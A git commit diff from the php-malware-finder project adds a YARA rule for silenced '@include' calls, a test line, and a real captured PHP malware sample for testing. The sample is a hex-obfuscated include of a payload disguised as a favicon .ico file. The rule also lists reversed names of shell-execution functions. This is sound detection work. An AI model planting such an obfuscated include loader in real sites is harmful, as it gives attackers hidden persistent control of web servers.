diff options
| author | jvoisin | 2018-06-26 18:37:23 +0200 |
|---|---|---|
| committer | jvoisin | 2018-06-26 18:37:23 +0200 |
| commit | d9b7742bb7c1179f53429a0d8cab7f0bd04ffe00 (patch) | |
| tree | 78c34754182e8e73f78a4ff799eade71f3ee8a86 | |
| parent | ff3087f87dc12a37a345fef98a5b40609aee33de (diff) | |
Detect things like '@include'
This should close #71
| -rw-r--r-- | php-malware-finder/php.yar | 1 | ||||
| -rw-r--r-- | php-malware-finder/samples/real/include.php | 4 | ||||
| -rwxr-xr-x | php-malware-finder/tests.sh | 1 |
3 files changed, 6 insertions, 0 deletions
diff --git a/php-malware-finder/php.yar b/php-malware-finder/php.yar index 143b192..6a93fe1 100644 --- a/php-malware-finder/php.yar +++ b/php-malware-finder/php.yar | |||
| @@ -102,6 +102,7 @@ rule DodgyPhp | |||
| 102 | $double_var = /\${\s*\${/ | 102 | $double_var = /\${\s*\${/ |
| 103 | $extract = /extract\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)/ | 103 | $extract = /extract\s*\(\s*\$_(GET|POST|REQUEST|COOKIE|SERVER)/ |
| 104 | $reversed = /noitcnuf_etaerc|metsys|urhtssap|edulcni|etucexe_llehs/ nocase | 104 | $reversed = /noitcnuf_etaerc|metsys|urhtssap|edulcni|etucexe_llehs/ nocase |
| 105 | $silenced_include =/@\s*include\s*/ nocase | ||
| 105 | 106 | ||
| 106 | condition: | 107 | condition: |
| 107 | (any of them) and not IsWhitelisted | 108 | (any of them) and not IsWhitelisted |
diff --git a/php-malware-finder/samples/real/include.php b/php-malware-finder/samples/real/include.php new file mode 100644 index 0000000..58712f1 --- /dev/null +++ b/php-malware-finder/samples/real/include.php | |||
| @@ -0,0 +1,4 @@ | |||
| 1 | <?php | ||
| 2 | /*8a68d*/ | ||
| 3 | @include "\x2fh\x6fm\x65/\x77e\x62p\x6ce\x78x\x33/\x70u\x62l\x69c\x5fh\x74m\x6c/\x68i\x73-\x68e\x6d.\x6fr\x67/\x5f_\x4dA\x43O\x53X\x2fm\x6fd\x75l\x65s\x2fn\x6fd\x65/\x66a\x76i\x63o\x6e_\x31a\x33f\x384\x2ei\x63o"; | ||
| 4 | /*8a68d*/ | ||
diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh index aa6cd33..f53097d 100755 --- a/php-malware-finder/tests.sh +++ b/php-malware-finder/tests.sh | |||
| @@ -89,6 +89,7 @@ run_test real/exceptions.php '$eval_comment: eval/\*k\*/(' | |||
| 89 | run_test real/nano.php '$nano: $x\[f\](' | 89 | run_test real/nano.php '$nano: $x\[f\](' |
| 90 | run_test real/ninja.php '$nano: $x\[0\](' | 90 | run_test real/ninja.php '$nano: $x\[0\](' |
| 91 | run_test real/ninja.php '$ninja: base64_decode(substr(getallheaders' | 91 | run_test real/ninja.php '$ninja: base64_decode(substr(getallheaders' |
| 92 | run_test real/include.php ':$silenced_include: @include' | ||
| 92 | 93 | ||
| 93 | run_test undetected/smart.php '0x6:$extract:' | 94 | run_test undetected/smart.php '0x6:$extract:' |
| 94 | 95 | ||
